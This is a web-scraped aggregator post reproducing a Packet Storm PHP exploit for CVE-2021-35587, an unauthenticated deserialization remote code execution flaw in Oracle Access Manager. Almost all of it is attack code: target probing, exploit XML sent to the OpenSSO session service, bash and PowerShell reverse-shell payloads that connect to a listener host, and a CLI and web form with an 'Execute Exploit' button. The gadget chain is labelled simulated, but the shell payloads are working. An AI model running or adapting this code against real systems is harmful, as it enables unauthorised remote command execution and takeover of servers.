{"id":40108,"date":"2026-02-10T13:49:50","date_gmt":"2026-02-10T13:49:50","guid":{"rendered":"http:\/\/localhost\/?p=40108"},"modified":"2026-02-10T13:49:50","modified_gmt":"2026-02-10T13:49:50","slug":"oracle-access-manager-122140-insecure-deserialization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40108","title":{"rendered":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:01:58&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute arbitrary commands without authentication. The vulnerability exists in&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215250&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2021-35587&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Oracle Access Manager 12.2.1.4.0 Java deserialization vulnerability                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.oracle.com\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    \\n    [+] Summary : https:\/\/packetstorm.news\/files\/id\/190368\/ \\u0026 \\tCVE-2021-35587  \\n              \\n                  an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute arbitrary commands without authentication.\\n    \\t\\t      The vulnerability exists in the session handling mechanism of the OpenSSO Agent, which improperly deserializes untrusted data from unauthenticated requests.\\n    \\t   \\n    [+]  POC : \\n    \\n    php poc.php\\n    \\n    \\n    \\u003c?php\\n    \\n    class OracleAccessManagerExploit {\\n        private $target;\\n        private $port;\\n        private $ssl;\\n        private $base_path;\\n        private $timeout;\\n        \\n        public function __construct($target, $port = 14100, $ssl = false, $base_path = &#8216;\/oam\/&#8217;) {\\n            $this-\\u003etarget = $target;\\n            $this-\\u003eport = $port;\\n            $this-\\u003essl = $ssl;\\n            $this-\\u003ebase_path = rtrim($base_path, &#8216;\/&#8217;);\\n            $this-\\u003etimeout = 30;\\n        }\\n        \\n        \/**\\n         * Check if target is vulnerable to CVE-2021-35587\\n         *\/\\n        public function check() {\\n            echo \\&#8221;[*] Checking Oracle Access Manager vulnerability (CVE-2021-35587)&#8230;\\\\n\\&#8221;;\\n            \\n            try {\\n                $version = $this-\\u003eget_version();\\n                \\n                if ($version) {\\n                    echo \\&#8221;[*] Detected Oracle Access Manager version: {$version}\\\\n\\&#8221;;\\n                    \\n                    $affected_versions = [\\n                        &#8216;11.1.2.3.0&#8217;,\\n                        &#8216;12.2.1.3.0&#8217;, \\n                        &#8216;12.2.1.4.0&#8217;\\n                    ];\\n                    \\n                    if (in_array($version, $affected_versions)) {\\n                        echo \\&#8221;[+] \u2713 Target appears to be vulnerable!\\\\n\\&#8221;;\\n                        return \\&#8221;vulnerable\\&#8221;;\\n                    } else {\\n                        echo \\&#8221;[-] \u2717 Target is not vulnerable (version not affected)\\\\n\\&#8221;;\\n                        return \\&#8221;safe\\&#8221;;\\n                    }\\n                } else {\\n                    echo \\&#8221;[?] Target appears to be OAM but version could not be determined\\\\n\\&#8221;;\\n                    return \\&#8221;detected\\&#8221;;\\n                }\\n                \\n            } catch (Exception $e) {\\n                echo \\&#8221;[-] Check failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                return \\&#8221;unknown\\&#8221;;\\n            }\\n        }\\n        \\n        \/**\\n         * Execute the exploit\\n         *\/\\n        public function exploit($payload) {\\n            echo \\&#8221;[*] Starting Oracle Access Manager RCE exploit&#8230;\\\\n\\&#8221;;\\n            \\n            try {\\n                \/\/ Get target version for appropriate gadget chain\\n                $version = $this-\\u003eget_version();\\n                echo \\&#8221;[*] Target version: {$version}\\\\n\\&#8221;;\\n                \\n                \/\/ Generate exploit XML\\n                $xml_data = $this-\\u003egenerate_exploit_xml($version, $payload);\\n                \\n                \/\/ Send exploit request\\n                $response = $this-\\u003esend_exploit_request($xml_data);\\n                \\n                if ($response \\u0026\\u0026 strpos($response, &#8216;200&#8217;) !== false) {\\n                    echo \\&#8221;[+] \u2713 Exploit sent successfully\\\\n\\&#8221;;\\n                    return true;\\n                } else {\\n                    echo \\&#8221;[-] \u2717 Exploit failed &#8211; no response or unexpected status\\\\n\\&#8221;;\\n                    return false;\\n                }\\n                \\n            } catch (Exception $e) {\\n                echo \\&#8221;[-] Exploit failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n        \\n        \/**\\n         * Get Oracle Access Manager version\\n         *\/\\n        private function get_version() {\\n            $url = $this-\\u003ebuild_url(&#8216;\/pages\/impconsent.jsp&#8217;);\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true,\\n                CURLOPT_USERAGENT =\\u003e &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            if ($http_code !== 200) {\\n                throw new Exception(\\&#8221;HTTP {$http_code} received\\&#8221;);\\n            }\\n            \\n            \/\/ Check for Oracle-specific headers\\n            if (strpos($response, &#8216;Oracle Access Management Version:&#8217;) === false) {\\n                throw new Exception(\\&#8221;Not an Oracle Access Manager endpoint\\&#8221;);\\n            }\\n            \\n            \/\/ Extract version from response\\n            if (preg_match(&#8216;\/Oracle Access Management Version: (\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/&#8217;, $response, $matches)) {\\n                return $matches[1];\\n            }\\n            \\n            return null;\\n        }\\n        \\n        \/**\\n         * Generate exploit XML with gadget chain\\n         *\/\\n        private function generate_exploit_xml($version, $payload) {\\n            echo \\&#8221;[*] Generating exploit XML for version {$version}&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Get appropriate gadget chain\\n            $gadget = $this-\\u003eget_gadget_chain($version, $payload);\\n            \\n            \/\/ Encode gadget\\n            $gadget_b64 = base64_encode($gadget);\\n            $requester_b64 = base64_encode(\\&#8221;object:{$gadget_b64}\\&#8221;);\\n            \\n            \/\/ Generate random IDs\\n            $reqid = $this-\\u003erandom_string(rand(8, 32));\\n            $session_id = $this-\\u003erandom_string(rand(8, 32));\\n            $request_reqid = $this-\\u003erandom_string(rand(8, 32));\\n            $vers = $this-\\u003erandom_string(rand(8, 32));\\n            $dtdid = $this-\\u003erandom_string(rand(8, 32));\\n            $sid = $this-\\u003erandom_string(rand(8, 32));\\n            \\n            \/\/ Build XML\\n            $xml = &#8216;\\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?\\u003e&#8217; . \\&#8221;\\\\n\\&#8221;;\\n            $xml .= \\&#8221;\\u003cRequestSet svcid=\\\\\\&#8221;session\\\\\\&#8221; reqid=\\\\\\&#8221;{$request_reqid}\\\\\\&#8221; vers=\\\\\\&#8221;{$vers}\\\\\\&#8221;\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;  \\u003cRequest dtdid=\\\\\\&#8221;{$dtdid}\\\\\\&#8221; sid=\\\\\\&#8221;{$sid}\\\\\\&#8221;\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;    \\u003c![CDATA[\\\\n\\&#8221;;\\n            $xml .= \\&#8221;      \\u003cauthIdentifier reqid=\\\\\\&#8221;{$reqid}\\\\\\&#8221; requester=\\\\\\&#8221;{$requester_b64}\\\\\\&#8221;\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;        \\u003cSessionID\\u003e{$session_id}\\u003c\/SessionID\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;      \\u003c\/authIdentifier\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;    ]]\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;  \\u003c\/Request\\u003e\\\\n\\&#8221;;\\n            $xml .= \\&#8221;\\u003c\/RequestSet\\u003e\\&#8221;;\\n            \\n            echo \\&#8221;[*] Generated exploit XML\\\\n\\&#8221;;\\n            return $xml;\\n        }\\n        \\n        \/**\\n         * Get appropriate gadget chain for version\\n         *\/\\n        private function get_gadget_chain($version, $payload) {\\n            $gadget_file = null;\\n            \\n            switch ($version) {\\n                case &#8216;12.2.1.4.0&#8217;:\\n                    $gadget_file = &#8216;gadget_12.2.1.4.0.bin&#8217;;\\n                    break;\\n                case &#8216;12.2.1.3.0&#8217;:\\n                    $gadget_file = &#8216;gadget_12.2.1.3.0.bin&#8217;;\\n                    break;\\n                default:\\n                    throw new Exception(\\&#8221;Unsupported version: {$version}\\&#8221;);\\n            }\\n            \\n            echo \\&#8221;[*] Using gadget chain: {$gadget_file}\\\\n\\&#8221;;\\n            \\n            \/\/ In real scenario, load from file\\n            \/\/ For demo, create a simulated gadget\\n            $gadget = $this-\\u003ecreate_simulated_gadget($payload);\\n            \\n            return $gadget;\\n        }\\n        \\n        \/**\\n         * Create simulated gadget chain (for demonstration)\\n         *\/\\n        private function create_simulated_gadget($payload) {\\n            \/\/ This simulates a Java deserialization gadget chain\\n            \/\/ In reality, this would be a complex serialized Java object\\n            \\n            $gadget = \\&#8221;aced0005737200\\&#8221;; \/\/ Java serialization magic header\\n            \\n            \/\/ Add command execution parameters\\n            $shell_name = $this-\\u003eis_windows_target() ? &#8216;cmd.exe&#8217; : &#8216;\/bin\/sh&#8217;;\\n            $shell_arg = $this-\\u003eis_windows_target() ? &#8216;\/C&#8217; : &#8216;-c&#8217;;\\n            \\n            \/\/ Simulate gadget structure with placeholders\\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen(&#8216;EXEC_ARG0&#8217;)) . &#8216;EXEC_ARG0&#8217;);\\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen($shell_name)) . $shell_name);\\n            \\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen(&#8216;EXEC_ARG1&#8217;)) . &#8216;EXEC_ARG1&#8217;);\\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen($shell_arg)) . $shell_arg);\\n            \\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen(&#8216;EXEC_ARG2&#8217;)) . &#8216;EXEC_ARG2&#8217;);\\n            $gadget .= bin2hex(pack(&#8216;n&#8217;, strlen($payload)) . $payload);\\n            \\n            \/\/ Add more serialized data&#8230;\\n            $gadget .= \\&#8221;7372002a636f6d2e73756e2e726f7773657474\\&#8221;; \/\/ More simulated data\\n            \\n            return hex2bin($gadget);\\n        }\\n        \\n        \/**\\n         * Send exploit request\\n         *\/\\n        private function send_exploit_request($xml_data) {\\n            $url = $this-\\u003ebuild_url(&#8216;\/server\/opensso\/sessionservice&#8217;);\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e $xml_data,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_HTTPHEADER =\\u003e [\\n                    &#8216;Content-Type: text\/xml&#8217;,\\n                    &#8216;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n                ]\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            echo \\&#8221;[*] Sent exploit request, HTTP status: {$http_code}\\\\n\\&#8221;;\\n            \\n            return $response;\\n        }\\n        \\n        \/**\\n         * Build full URL\\n         *\/\\n        private function build_url($path) {\\n            $protocol = $this-\\u003essl ? &#8216;https&#8217; : &#8216;http&#8217;;\\n            $full_path = $this-\\u003ebase_path . $path;\\n            return \\&#8221;{$protocol}:\/\/{$this-\\u003etarget}:{$this-\\u003eport}{$full_path}\\&#8221;;\\n        }\\n        \\n        \/**\\n         * Check if target is Windows\\n         *\/\\n        private function is_windows_target() {\\n            \/\/ This would be determined from target info\\n            \/\/ For demo, assume Linux\/Unix\\n            return false;\\n        }\\n        \\n        \/**\\n         * Generate random string\\n         *\/\\n        private function random_string($length = 10) {\\n            $chars = &#8216;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#8217;;\\n            $str = &#8221;;\\n            for ($i = 0; $i \\u003c $length; $i++) {\\n                $str .= $chars[rand(0, strlen($chars) &#8211; 1)];\\n            }\\n            return $str;\\n        }\\n        \\n        \/**\\n         * Generate payload based on target\\n         *\/\\n        public function generate_payload($type = &#8216;reverse_shell&#8217;, $lhost = null, $lport = null) {\\n            if ($this-\\u003eis_windows_target()) {\\n                return $this-\\u003egenerate_windows_payload($type, $lhost, $lport);\\n            } else {\\n                return $this-\\u003egenerate_linux_payload($type, $lhost, $lport);\\n            }\\n        }\\n        \\n        private function generate_linux_payload($type, $lhost, $lport) {\\n            switch ($type) {\\n                case &#8216;reverse_shell&#8217;:\\n                    return \\&#8221;\/bin\/bash -c &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/{$lhost}\/{$lport} 0\\u003e\\u00261&#8217;\\&#8221;;\\n                case &#8216;command&#8217;:\\n                    return &#8216;id; whoami; uname -a&#8217;;\\n                default:\\n                    return &#8216;echo \\&#8221;Test command executed\\&#8221;&#8216;;\\n            }\\n        }\\n        \\n        private function generate_windows_payload($type, $lhost, $lport) {\\n            switch ($type) {\\n                case &#8216;reverse_shell&#8217;:\\n                    return \\&#8221;powershell -nop -c \\\\\\&#8221;\\\\$tc=New-Object System.Net.Sockets.TCPClient(&#8216;{$lhost}&#8217;,{$lport});\\\\$ns=\\\\$tc.GetStream();[byte[]]\\\\$bt=0..65535|%{0};while((\\\\$i=\\\\$ns.Read(\\\\$bt,0,\\\\$bt.Length)) -ne 0){;\\\\$d=(New-Object Text.ASCIIEncoding).GetString(\\\\$bt,0,\\\\$i);\\\\$sb=(iex \\\\$d 2\\u003e\\u00261|Out-String);\\\\$s2=\\\\$sb+&#8217;PS &#8216;+(pwd).Path+&#8217;\\u003e &#8216;;\\\\$sb2=([text.encoding]::ASCII).GetBytes(\\\\$s2);\\\\$ns.Write(\\\\$sb2,0,\\\\$sb2.Length);\\\\$ns.Flush()};\\\\$tc.Close()\\\\\\&#8221;\\&#8221;;\\n                case &#8216;command&#8217;:\\n                    return &#8216;whoami \\u0026 systeminfo&#8217;;\\n                default:\\n                    return &#8216;echo Test command executed&#8217;;\\n            }\\n        }\\n    }\\n    \\n    \/\/ Command line interface\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        echo \\&#8221;\\n     \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n     \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588   \u2588\u2554\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551\\n     \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\\n        \\n        Oracle Access Manager Deserialization Vulnerability PHP Implementation\\n        \\n        \\\\n\\&#8221;;\\n        \\n        $options = getopt(\\&#8221;t:p:s:u:c:P:L:H:\\&#8221;, [\\n            \\&#8221;target:\\&#8221;,\\n            \\&#8221;port:\\&#8221;,\\n            \\&#8221;ssl\\&#8221;,\\n            \\&#8221;uri:\\&#8221;,\\n            \\&#8221;check\\&#8221;,\\n            \\&#8221;payload:\\&#8221;,\\n            \\&#8221;lhost:\\&#8221;,\\n            \\&#8221;lport:\\&#8221;\\n        ]);\\n        \\n        $target = $options[&#8216;t&#8217;] ?? $options[&#8216;target&#8217;] ?? null;\\n        $port = $options[&#8216;p&#8217;] ?? $options[&#8216;port&#8217;] ?? 14100;\\n        $ssl = isset($options[&#8216;s&#8217;]) || isset($options[&#8216;ssl&#8217;]);\\n        $base_uri = $options[&#8216;u&#8217;] ?? $options[&#8216;uri&#8217;] ?? &#8216;\/oam\/&#8217;;\\n        $check_only = isset($options[&#8216;c&#8217;]) || isset($options[&#8216;check&#8217;]);\\n        $payload_type = $options[&#8216;P&#8217;] ?? $options[&#8216;payload&#8217;] ?? &#8216;command&#8217;;\\n        $lhost = $options[&#8216;H&#8217;] ?? $options[&#8216;lhost&#8217;] ?? &#8216;192.168.1.100&#8217;;\\n        $lport = $options[&#8216;L&#8217;] ?? $options[&#8216;lport&#8217;] ?? 4444;\\n        \\n        if (!$target) {\\n            echo \\&#8221;Usage: php oracle_exploit.php [options]\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  -t, &#8211;target    Target host (required)\\\\n\\&#8221;;\\n            echo \\&#8221;  -p, &#8211;port      Target port (default: 14100)\\\\n\\&#8221;;\\n            echo \\&#8221;  -s, &#8211;ssl       Use SSL (default: false)\\\\n\\&#8221;;\\n            echo \\&#8221;  -u, &#8211;uri       Base URI path (default: \/oam\/)\\\\n\\&#8221;;\\n            echo \\&#8221;  -c, &#8211;check     Check only (don&#8217;t exploit)\\\\n\\&#8221;;\\n            echo \\&#8221;  -P, &#8211;payload   Payload type: command, reverse_shell (default: command)\\\\n\\&#8221;;\\n            echo \\&#8221;  -H, &#8211;lhost     Listener host for reverse shell\\\\n\\&#8221;;\\n            echo \\&#8221;  -L, &#8211;lport     Listener port for reverse shell\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php oracle_exploit.php -t 192.168.1.100 -c\\\\n\\&#8221;;\\n            echo \\&#8221;  php oracle_exploit.php -t oracle-server.com -p 1443 -s -P reverse_shell -H 10.0.0.5 -L 4444\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $exploit = new OracleAccessManagerExploit($target, $port, $ssl, $base_uri);\\n        \\n        if ($check_only) {\\n            $result = $exploit-\\u003echeck();\\n            echo \\&#8221;\\\\n[*] Result: {$result}\\\\n\\&#8221;;\\n        } else {\\n            $payload = $exploit-\\u003egenerate_payload($payload_type, $lhost, $lport);\\n            echo \\&#8221;[*] Using payload: {$payload}\\\\n\\&#8221;;\\n            \\n            if ($exploit-\\u003eexploit($payload)) {\\n                echo \\&#8221;[+] Exploitation completed\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[-] Exploitation failed\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n    } else {\\n        \/\/ Web interface\\n        if ($_POST[&#8216;action&#8217;] == &#8216;check&#8217; || $_POST[&#8216;action&#8217;] == &#8216;exploit&#8217;) {\\n            $target = $_POST[&#8216;target&#8217;] ?? &#8221;;\\n            $port = $_POST[&#8216;port&#8217;] ?? 14100;\\n            $ssl = isset($_POST[&#8216;ssl&#8217;]);\\n            $base_uri = $_POST[&#8216;uri&#8217;] ?? &#8216;\/oam\/&#8217;;\\n            $payload_type = $_POST[&#8216;payload_type&#8217;] ?? &#8216;command&#8217;;\\n            $lhost = $_POST[&#8216;lhost&#8217;] ?? &#8221;;\\n            $lport = $_POST[&#8216;lport&#8217;] ?? 4444;\\n            \\n            if ($target) {\\n                $exploit = new OracleAccessManagerExploit($target, $port, $ssl, $base_uri);\\n                \\n                ob_start();\\n                if ($_POST[&#8216;action&#8217;] == &#8216;check&#8217;) {\\n                    $exploit-\\u003echeck();\\n                } else {\\n                    $payload = $exploit-\\u003egenerate_payload($payload_type, $lhost, $lport);\\n                    echo \\&#8221;[*] Using payload: {$payload}\\\\n\\&#8221;;\\n                    $exploit-\\u003eexploit($payload);\\n                }\\n                $output = ob_get_clean();\\n                \\n                echo \\&#8221;\\u003cpre\\u003e$output\\u003c\/pre\\u003e\\&#8221;;\\n            } else {\\n                echo \\&#8221;\\u003cdiv style=&#8217;color: red;&#8217;\\u003eTarget host is required\\u003c\/div\\u003e\\&#8221;;\\n            }\\n        } else {\\n            echo &#8216;\\u003c!DOCTYPE html\\u003e\\n            \\u003chtml\\u003e\\n            \\u003chead\\u003e\\n                \\u003ctitle\\u003eOracle Access Manager RCE Exploit\\u003c\/title\\u003e\\n                \\u003cstyle\\u003e\\n                    body { font-family: Arial, sans-serif; margin: 40px; }\\n                    .container { max-width: 800px; margin: 0 auto; }\\n                    .form-group { margin-bottom: 15px; }\\n                    label { display: block; margin-bottom: 5px; font-weight: bold; }\\n                    input[type=\\&#8221;text\\&#8221;] { \\n                        width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; \\n                    }\\n                    button { \\n                        background: #007cba; color: white; padding: 10px 20px; \\n                        border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;\\n                    }\\n                    .danger { background: #dc3545; }\\n                    .info { background: #17a2b8; }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                    \\u003ch1\\u003eOracle Access Manager Unauthenticated RCE\\u003c\/h1\\u003e\\n                    \\u003ch3\\u003eCVE-2021-35587 &#8211; Deserialization Vulnerability\\u003c\/h3\\u003e\\n                    \\n                    \\u003cform method=\\&#8221;post\\&#8221;\\u003e\\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;target\\&#8221;\\u003eTarget Host:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;target\\&#8221; name=\\&#8221;target\\&#8221; placeholder=\\&#8221;192.168.1.100\\&#8221; required\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;port\\&#8221;\\u003ePort:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;port\\&#8221; name=\\&#8221;port\\&#8221; value=\\&#8221;14100\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;uri\\&#8221;\\u003eBase URI:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;uri\\&#8221; name=\\&#8221;uri\\&#8221; value=\\&#8221;\/oam\/\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel\\u003e\\n                                \\u003cinput type=\\&#8221;checkbox\\&#8221; name=\\&#8221;ssl\\&#8221;\\u003e Use SSL\\n                            \\u003c\/label\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;payload_type\\&#8221;\\u003ePayload Type:\\u003c\/label\\u003e\\n                            \\u003cselect id=\\&#8221;payload_type\\&#8221; name=\\&#8221;payload_type\\&#8221;\\u003e\\n                                \\u003coption value=\\&#8221;command\\&#8221;\\u003eTest Command\\u003c\/option\\u003e\\n                                \\u003coption value=\\&#8221;reverse_shell\\&#8221;\\u003eReverse Shell\\u003c\/option\\u003e\\n                            \\u003c\/select\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;lhost\\&#8221;\\u003eListener Host (for reverse shell):\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;lhost\\&#8221; name=\\&#8221;lhost\\&#8221; placeholder=\\&#8221;192.168.1.100\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;lport\\&#8221;\\u003eListener Port (for reverse shell):\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;lport\\&#8221; name=\\&#8221;lport\\&#8221; value=\\&#8221;4444\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;check\\&#8221; class=\\&#8221;info\\&#8221;\\u003eCheck Vulnerability\\u003c\/button\\u003e\\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;exploit\\&#8221; class=\\&#8221;danger\\&#8221;\\u003eExecute Exploit\\u003c\/button\\u003e\\n                    \\u003c\/form\\u003e\\n                    \\n                    \\u003cdiv style=\\&#8221;margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;\\&#8221;\\u003e\\n                        \\u003ch3\\u003eAbout CVE-2021-35587:\\u003c\/h3\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eVulnerability:\\u003c\/strong\\u003e Unauthenticated Java deserialization in OpenSSO Agent\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAffected Versions:\\u003c\/strong\\u003e 11.1.2.3.0, 12.2.1.3.0, 12.2.1.4.0\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eImpact:\\u003c\/strong\\u003e Remote Code Execution without authentication\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003ePort:\\u003c\/strong\\u003e Typically 14100 (HTTP) or 1443 (HTTPS)\\u003c\/p\\u003e\\n                    \\u003c\/div\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/body\\u003e\\n            \\u003c\/html\\u003e&#8217;;\\n        }\\n    }\\n    ?\\u003e\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John 